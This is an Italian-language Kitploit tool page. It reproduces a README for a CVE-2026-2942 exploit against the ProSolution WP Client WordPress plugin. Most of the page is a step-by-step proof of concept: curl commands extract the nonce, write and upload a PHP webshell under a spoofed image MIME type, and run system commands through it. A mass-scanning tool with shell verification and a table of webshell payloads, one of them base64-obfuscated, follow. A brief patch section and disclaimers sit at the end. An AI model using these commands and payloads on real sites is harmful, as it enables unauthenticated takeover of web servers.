Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-2942 | Kitploit
Strumenti/GitHubGitHub/xxconi/cve-2026-2942
Scanner di VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneSviluppo Payload
GitHubxxconi/cve-2026-2942

CVE-2026-2942

Vedi Repository
2 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

ProSolution WP Client — Scanner per Upload di File Non Autenticato e RCE

Plugin: prosolution-wp-client
Versione Affetta: <= 1.9.9
Tipo di Vulnerabilità: Upload Arbitrario di File Non Autenticato → Esecuzione di Codice Remoto
Livello di Rischio: 🔴 Critico (CVSS 9.8)
Requisito: pagina pubblica contenente lo shortcode [prosolfrontend]


📌 Informazioni sulla Vulnerabilità

L'azione AJAX proSol_fileUploadProcess del plugin ProSolution WP Client controlla il tipo MIME dei file caricati ma non ne valida l'estensione. Un attaccante può inviare un file con estensione .php con tipo MIME image/jpeg, caricando così una webshell sul server senza autenticazione.

Catena di Attacco

root@kitploit:~
[prosolfrontend] pagina dello shortcode
        │
        ▼
1. prosolObj.nonce → estratto dalla pagina pubblica (nessuna autenticazione richiesta)
        │
        ▼
2. POST /wp-admin/admin-ajax.php
   action=proSol_fileUploadProcess
   security=<nonce>
   files[]=shell.php  (Content-Type: image/jpeg)  ← MIME Spoofing
        │
        ▼
3. Viene salvato come /wp-content/uploads/prosolwpclient/[random].php
        │
        ▼
4. GET /wp-content/uploads/prosolwpclient/[random].php?cmd=id
        │
        ▼
5. uid=33(www-data) → RCE non autenticata ✓

🧪 Prova di Concetto (Manuale)

⚠️ Disclaimer: Questo PoC è fornito esclusivamente a scopo di ricerca educativa e di sicurezza difensiva. Utilizzalo solo su sistemi di tua proprietà o per i quali disponi di un'autorizzazione scritta esplicita.

Prerequisiti

  • WordPress installato e plugin prosolution-wp-client attivo (versione <= 1.9.9)
  • Una pagina WordPress pubblicata contenente lo shortcode [prosolfrontend]

Passaggio 1 — Estrazione del Nonce

Visita qualsiasi pagina pubblica contenente lo shortcode [prosolfrontend] ed estrai il valore prosolObj.nonce dal codice sorgente:

root@kitploit:~
TARGET="https://target.example.com"

NONCE=$(curl -s "$TARGET/jobs" \
  | grep -oP '"nonce"\s*:\s*"\K[^"]+')

echo "Extracted nonce: $NONCE"

Struttura da cercare nel codice sorgente:

root@kitploit:~
<script id='prosolwpclient-public-js-extra'>
var prosolObj = {
    "ajaxurl": "https://target.example.com/wp-admin/admin-ajax.php",
    "nonce": "a1b2c3d4e5",
    ...
};
</script>

Passaggio 2 — Creazione della Webshell PHP

root@kitploit:~
echo '<?php system($_GET["cmd"]); ?>' > /tmp/shell.php

Passaggio 3 — Upload con MIME Spoofing

Invia il file .php con Content-Type image/jpeg:

root@kitploit:~
curl -s -X POST "$TARGET/wp-admin/admin-ajax.php" \
  -F "action=proSol_fileUploadProcess" \
  -F "security=$NONCE" \
  -F "files[]=@/tmp/shell.php;type=image/jpeg" \
  | python3 -m json.tool

Risposta attesa:

root@kitploit:~
{
  "files": [
    {
      "name": "shell.php",
      "size": 31,
      "url": "https://target.example.com/wp-content/uploads/prosolwpclient/shell.php",
      "newfilename": "a3f8b2c1d9e4f7g2.php",
      "rename_status": true,
      "extension": "php"
    }
  ]
}

"extension": "php" e "rename_status": true → il file .php è stato salvato con successo.


Passaggio 4 — Attivazione della RCE

root@kitploit:~
SHELL_FILE="a3f8b2c1d9e4f7g2.php"   # newfilename del Passaggio 3

curl -s "$TARGET/wp-content/uploads/prosolwpclient/$SHELL_FILE?cmd=id"

Output atteso:

root@kitploit:~
uid=33(www-data) gid=33(www-data) groups=33(www-data)

✅ RCE non autenticata ottenuta.


🛠️ Installazione dello Scanner Automatico

root@kitploit:~
git clone https://github.com/kullanici/prosol-upload-scanner
cd prosol-upload-scanner
pip install -r requirements.txt

requirements.txt

root@kitploit:~
requests

🚀 Utilizzo

Obiettivo Singolo

root@kitploit:~
python prosol_upload.py -u http://hedef.com

Con Verifica della Shell

root@kitploit:~
python prosol_upload.py -u http://hedef.com --verify --verify-cmd "whoami"

Scansione di Massa

root@kitploit:~
python prosol_upload.py -l targets.txt -t 20 -o sonuclar.txt

Con Proxy (Burp Suite)

root@kitploit:~
python prosol_upload.py -u http://hedef.com --proxy http://127.0.0.1:8080

Tipo di Shell Personalizzato

root@kitploit:~
python prosol_upload.py -u http://hedef.com --shell-type full

⚙️ Parametri


💀 Tipi di Shell


📂 Posizione di Upload della Shell

root@kitploit:~
WordPress Root/
└── wp-content/
    └── uploads/
        └── prosolwpclient/
            └── [random_hex].php   ← Shell qui

📊 Stati di Output dello Scanner


🖥️ Esempio di Output dello Scanner

root@kitploit:~
[*] 3 obiettivi | ProSolution File Upload | threads=10

[★ UPLOADED ] http://hedef1.com
  Shell URL : http://hedef1.com/wp-content/uploads/prosolwpclient/a3f8b2c1d9.php
  Nuovo Nome : a3f8b2c1d9.php  (renamed=True)
  [✓ RCE OK ] output di cmd: uid=33(www-data) gid=33(www-data)

[- BLOCKED  ] http://hedef2.com  ext=jpeg
[~ TIMEOUT  ] http://hedef3.com

───────────────────────────────────────────────
  UPLOADED            :    1  █
  BLOCKED             :    1  █
  TIMEOUT             :    1  █
───────────────────────────────────────────────
  Shell caricate → uploaded.txt
───────────────────────────────────────────────

🛡️ Difesa / Patch

.htaccess per la directory uploads/:

root@kitploit:~
<FilesMatch "\.php$">
    Deny from all
</FilesMatch>

⚠️ Avviso Legale

Questo strumento e il PoC sono stati realizzati esclusivamente per l'uso su sistemi autorizzati, a scopo educativo e
nell'ambito di test di penetrazione.
L'uso su sistemi non autorizzati costituisce reato ai sensi degli articoli 243-245 del Codice Penale Turco
e delle leggi internazionali sui crimini informatici.
Lo sviluppatore non si assume alcuna responsabilità legale derivante dall'uso improprio dello strumento.


📄 Licenza

MIT License — Solo a scopo educativo e di ricerca.

Scarica lo strumento
ParametroAbbreviazioneDescrizionePredefinito
--url-uURL dell'obiettivo singolo—
--list-lFile dell'elenco degli obiettivi—
--threads-tNumero di thread10
--output-oFile di outputuploaded.txt
--shell-name—Nome del file da caricareshell.php
--shell-type—Tipo di shellsystem
--verify—Test RCE post-uploadFalse
--verify-cmd—Comando di verificaid
--proxy—URL del proxy—
--timeout—Timeout della richiesta (s)10
TipoPayloadDescrizione
system<?php system($_GET["cmd"]); ?>Comando di sistema di base
passthru<?php passthru($_GET["cmd"]); ?>Output grezzo
exec<?php echo exec($_GET["cmd"]); ?>Esecuzione silenziosa
assert<?php assert($_POST["cmd"]); ?>Eval tramite POST
b64<?php eval(base64_decode($_POST["cmd"])); ?>Offuscamento Base64
fullshell_exec + system + exec fallbackShell completa
StatoDescrizione
★ UPLOADEDShell caricata con successo
✓ RCE OKShell verificata, comando eseguito
- BLOCKEDIl server ha bloccato l'estensione PHP
~ TIMEOUTTimeout di connessione
~ CONN_ERRErrore di connessione
! HTTP_ERRCodice di errore HTTP
MisuraAttuazione
Blocco dell'esecuzione PHPAggiungi un file .htaccess nella directory uploads/
Aggiornamento del pluginAggiorna alla versione > 1.9.9 oppure rimuovi il plugin
Whitelist delle estensioniConsenti solo estensioni autorizzate lato server
Validazione MIMEControllo del contenuto effettivo con finfo_file()
Regola WAFBlocca le richieste di upload di file .php